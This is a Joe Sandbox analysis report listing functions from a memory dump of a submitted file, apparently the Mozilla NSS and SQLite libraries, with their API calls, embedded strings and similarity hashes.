Instruction Fuzzy Hash: 2EA1A072E001559BDB08CB68CD91BAEB7B9FF48324F098129E915A7785E736AC01CB91

Function 6CA00FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C9FCA30: EnterCriticalSection.KERNEL32(?,?,?,6CA5F9C9,?,6CA5F4DA,6CA5F9C9,?,?,6CA2369A), ref: 6C9FCA7A
Part of subcall function 6C9FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C9FCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA0103E
EnterCriticalSection.KERNEL32(?), ref: 6CA01139
LeaveCriticalSection.KERNEL32(?), ref: 6CA01190
sqlite3_free.NSS3(00000000), ref: 6CA01227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA0126E
sqlite3_free.NSS3(?), ref: 6CA0127F

Strings

winAccess, xrefs: 6CA0129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA01267

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 7d70aa4043114b2c8d2979a742edd77a6ea0bf9063e36377dfe4ef5b569c8309
Instruction ID: 6a8f3dbfb1a440c409758e03752070baabc94748382c228dfdc5ae870ece1d13
Opcode Fuzzy Hash: 7d70aa4043114b2c8d2979a742edd77a6ea0bf9063e36377dfe4ef5b569c8309
Instruction Fuzzy Hash: 9471FD31705241DBEB049F64FC95ABE3379EB8A35CF18423DEA1587981D730E985CB92

Function 6CA0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31,?,?,?,?,?,?,?), ref: 6CA0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31), ref: 6CA0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31), ref: 6CA0B0A2
CloseHandle.KERNEL32(?,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31,?,?,?,?,?,?,?,?,?), ref: 6CA0B100
sqlite3_free.NSS3(?,?,00000002,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31,?,?,?,?,?,?,?), ref: 6CA0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB2CF46,?,6C9FCDBD,?,6CB2BF31), ref: 6CA0B12D

Part of subcall function 6C9F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA0C6FD,?,?,?,?,6CA5F965,00000000), ref: 6C9F9F0E
Part of subcall function 6C9F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA5F965,00000000), ref: 6C9F9F5D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: de3771b4e62eb55fcc043e63541c046bdbbb2a100b2cd9982a45ee65186a8874
Instruction ID: 2c1e99b21426f9d745f5e3ea9b68e4ae1859a352401b7d4249d37c5add7eb11c
Opcode Fuzzy Hash: de3771b4e62eb55fcc043e63541c046bdbbb2a100b2cd9982a45ee65186a8874
Instruction Fuzzy Hash: 4A91F1B0B04206CFDB04CF24E985B6BB7B6FF45388F18462DE41697A50EB30E980CB91

Function 6CB88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBD14E4,6CB3CC70), ref: 6CB88D47
PR_GetCurrentThread.NSS3 ref: 6CB88D98

Part of subcall function 6CA60F00: PR_GetPageSize.NSS3(6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F1B
Part of subcall function 6CA60F00: PR_NewLogModule.NSS3(clock,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CB88E7B
htons.WSOCK32(?), ref: 6CB88EDB
PR_GetCurrentThread.NSS3 ref: 6CB88F99
PR_GetCurrentThread.NSS3 ref: 6CB8910A

Strings

%u.%u.%u.%u, xrefs: 6CB88E74

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 61d1b71560a97868453522e107ebbcd8361a85b9967034e60f445f7aa67e5a17
Instruction ID: e5e31ded14d86bda1e8a24046743e06e3bcea105a5f9e5406af5833c9fa43688
Opcode Fuzzy Hash: 61d1b71560a97868453522e107ebbcd8361a85b9967034e60f445f7aa67e5a17
Instruction Fuzzy Hash: 6E028931D4B2D18FEF18CF19C46876ABBA3EF42304F19825AD8915FA91C732D949C791

Function 6CB2A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB4C3A2,?,?,00000000,00000000), ref: 6CB2A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB2A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB2A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB2A738

Strings

%s at line %d of [%.10s], xrefs: 6CB2A6D9
database corruption, xrefs: 6CB2A6D4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB2A6CA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: ec9ecab3844a9374f32d69f896b1fa06950d6dffb97b0077fbb272e33c46901e
Instruction ID: 31690be3100f45dc1c721efbb0ec52dd657a70070a0c374e605fb07e4e383c52
Opcode Fuzzy Hash: ec9ecab3844a9374f32d69f896b1fa06950d6dffb97b0077fbb272e33c46901e
Instruction Fuzzy Hash: 0091D4716087918BC715CF28C480A6BB7E1FF48314F554A6DE899CBB91EB78EC45CB82

Function 6CB04540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB04571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6CB045B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CB045C2

Part of subcall function 6CB004C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CB0461B,-00000004), ref: 6CB004DF
Part of subcall function 6CB004C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CB0461B,-00000004), ref: 6CB00534

PR_Now.NSS3 ref: 6CB04626

Part of subcall function 6CB39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DC6
Part of subcall function 6CB39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DD1
Part of subcall function 6CB39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB39DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB04634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6CB046C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6CB046E3
PR_SetError.NSS3(?,00000000), ref: 6CB04722

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: 9ea7c25091b9415214b16f4dceb47fd898e2fc7c715ef3f161ebbf9dc268bda3
Instruction ID: ae81ebb79687ee37c0e31f7c3c21db30e7cfa6ae0ce58562a4be455834ad6a72
Opcode Fuzzy Hash: 9ea7c25091b9415214b16f4dceb47fd898e2fc7c715ef3f161ebbf9dc268bda3
Instruction Fuzzy Hash: 7161AD71E006849FEB10CF68D884B9ABBF5FF69308F554929E8459BA51E730F948CB81

Function 6CA0EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CA0F95C, 6CA0F9BF, 6CA0FA5E, 6CA0FA8B
sqlite_master, xrefs: 6CA0F0AB, 6CA0F2DA, 6CA0F757, 6CA0F93E
there is already an index named %s, xrefs: 6CA0F9D7
temporary table name must be unqualified, xrefs: 6CA0F734
not authorized, xrefs: 6CA0F957, 6CA0F9BA
view, xrefs: 6CA0F061, 6CA0F071, 6CA0FAB7
%s %T already exists, xrefs: 6CA0FAC8
sqlite_temp_master, xrefs: 6CA0F0A6, 6CA0F2D5
table, xrefs: 6CA0F05C, 6CA0FABC, 6CA0FAC7

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 95d838932fd4d55fd2b50a3afcc721d5c5690105ddf058044c16ea8a9de7f5e1
Instruction ID: ea1c65b912590cb1bdf6b37c7a5b8aae16c38b54fe163ea43382b871f04a8f5d
Opcode Fuzzy Hash: 95d838932fd4d55fd2b50a3afcc721d5c5690105ddf058044c16ea8a9de7f5e1
Instruction Fuzzy Hash: 2772BE70E042458FDB14CF68D884BAABBF1BF4934CF1881ADC914AB752D775E886CB94

Function 6CA84420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CA84444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA84466

Part of subcall function 6CAD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD1228
Part of subcall function 6CAD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAD1238
Part of subcall function 6CAD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD124B
Part of subcall function 6CAD1200: PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD125D
Part of subcall function 6CAD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAD126F
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAD1280
Part of subcall function 6CAD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAD128E
Part of subcall function 6CAD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAD129A
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAD12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA8447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA8448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA84494

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: fc7d961f9c26447b882d7d4f8455816e46b3f509aa72447a2b4a23e7eed5bede
Instruction ID: ce05ed93d905935e0572ec6ddb5a27c7aedf2f32b16d30984a880084eb1e66cb
Opcode Fuzzy Hash: fc7d961f9c26447b882d7d4f8455816e46b3f509aa72447a2b4a23e7eed5bede
Instruction Fuzzy Hash: EB11A2B2D057049BD7208F65AD805A7B7FCFF59218B084B3EE89E92A00F371B5D88791

Function 6CB8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8D086
PR_Malloc.NSS3(00000001), ref: 6CB8D0B9
PR_Free.NSS3(?), ref: 6CB8D138

Strings

>, xrefs: 6CB8CF5B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: d0871c3b214cd2682aac1f5e2a799f391a3d85d3b679cf5ab52f5b0c12365daf
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: CCD15962B836C70BFB14587C9CB13EA7793CB42374F58032BD5218BBE5E61988478352

Function 6CB2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2758996e74d388af91c2a239c15b8f292b8e0d54161b15c6c9d0b5e41cbdd1f
Instruction ID: 7e98d783bf58dfaf70b32501df60d3ccbdfaf0f574457db5a34c89491802c866
Opcode Fuzzy Hash: b2758996e74d388af91c2a239c15b8f292b8e0d54161b15c6c9d0b5e41cbdd1f
Instruction Fuzzy Hash: EFF1B071F01295CBDB04CF68C8527BE77B8EB4A304F194229C90AD7754EB78AA51CBC1

Function 6CB025B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6CAE5A85), ref: 6CB02675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6CB02659

Part of subcall function 6CAB3850: TlsGetValue.KERNEL32 ref: 6CAB389F
Part of subcall function 6CAB3850: EnterCriticalSection.KERNEL32(?), ref: 6CAB38B3
Part of subcall function 6CAB3850: PR_Unlock.NSS3(?), ref: 6CAB38F1
Part of subcall function 6CAB3850: TlsGetValue.KERNEL32 ref: 6CAB390F
Part of subcall function 6CAB3850: EnterCriticalSection.KERNEL32(?), ref: 6CAB3923
Part of subcall function 6CAB3850: PR_Unlock.NSS3(?), ref: 6CAB3972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB02697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6CAE5A85,?,6CAE5A85), ref: 6CB02717

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 50df9948a6eb74a287847aa1a566ee6e7b85f077fbe27356f8087c155ea58a24
Instruction ID: af77739cc8ff09cc980643e5be4c036af45a314f72cb4d0b924a86d055cc24f5
Opcode Fuzzy Hash: 50df9948a6eb74a287847aa1a566ee6e7b85f077fbe27356f8087c155ea58a24
Instruction Fuzzy Hash: 6341D771B083C06AFB258E59CC86FDB7BACEFD0718F204619F99407641EE71998986D3

Function 6CA58540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6CA58705

Strings

BINARY, xrefs: 6CA58B02, 6CA58DA2, 6CA58E27, 6CA58E60
automatic index on %s(%s), xrefs: 6CA586FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: a944b507c20323024d548d25e0180f9712a6b09a6be631e0b5ce789bc3bac929
Instruction ID: 3aa5ba5ebecac0546750617f5f8774769385c1268ddce1ed7a68121cc10602f7
Opcode Fuzzy Hash: a944b507c20323024d548d25e0180f9712a6b09a6be631e0b5ce789bc3bac929
Instruction Fuzzy Hash: 23629E75A183419FD705CF28C480B1AB7F1BF89348F588A5EE8899B751D731EC96CB82

Function 6CA464D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CA46E3E
not authorized, xrefs: 6CA46D47, 6CA46D4C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
API String ID: 0-2411240822
Opcode ID: 58ec2debeac72b090938c360ee3135b6c45564f2d6346da2da62e431fa163ef3
Instruction ID: 4675da86c46bd0e99c8558f678c9560554cdf446b68dd54cda284ee78f50a927
Opcode Fuzzy Hash: 58ec2debeac72b090938c360ee3135b6c45564f2d6346da2da62e431fa163ef3
Instruction Fuzzy Hash: 98627F70A04204CFDB14CF19C484AA9BBF2FF49308F29C1ADD9159B766D736E996CB80

Function 6CA9EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA9F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CA9F0F9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: b394e2c43e762c4b90af1ca6f9a31d221ab033198370caf09f90dfd385504852
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 3B919071A1021A8BCB14CF69C8D16AEB7F1BF85324F24462DE966A7B80D730A945CB91

Function 6CA66410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6CA66401,?,?,0000001C), ref: 6CA66422
WSAGetLastError.WSOCK32(?,?,?,?,6CA66401,?,?,0000001C), ref: 6CA66432

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

